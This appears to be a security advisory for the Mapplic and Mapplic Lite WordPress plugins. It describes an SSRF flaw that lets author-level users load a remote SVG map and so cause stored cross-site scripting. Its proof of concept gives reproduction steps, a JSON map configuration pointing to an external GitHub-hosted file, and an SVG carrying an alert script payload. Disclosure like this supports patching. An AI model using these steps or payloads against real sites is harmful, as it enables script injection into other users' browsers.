Mapplic and Mapplic Lite – SSRF to Stored Cross-Site Scripting (XSS)

Description

The Mapplic Lite <= 1.0 and Mapplic <= 6.2 plugins are affected by server-side request forgery issues, allowing low privilege users (author+) to use an arbitrary remote map file, such as an SVG which could lead to Stored Cross-Site Scripting issues.

Proof of Concept

#1.Login as user (author+)
#2.Add Add/Edit Map
   - [From Add]Enter github url with payload at "Map File (required)"
   - [From Edit]Click raw and enter github url with payload

#Example [From edit]
{"mapwidth":"100","mapheight":"100","minimap":false,"clearbutton":true,"zoombuttons":true,"sidebar":false,
"search":false,"hovertip":true,"mousewheel":true,"fullscreen":false,"deeplinking":true,"mapfill":false,
"zoom":true,"alphabetic":false,"zoomlimit":"3","action":"tooltip","categories":[],
"levels":[{"id":"my-map","title":"My Map","map":"
https://raw.githubusercontent.com/xxxxx/xss.svg
","minimap":"","locations":[]}]}

with https://raw.githubusercontent.com/xxxxx/xss.svg:

<svg version="1.1" id="mapplic-usa" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" x="0px"
     y="0px" width="960px" height="600px" viewBox="0 0 960 600"
enable-background="new 0 0 960 600" xml:space="preserve">
     <script>alert(/XSS/)</script>
</svg>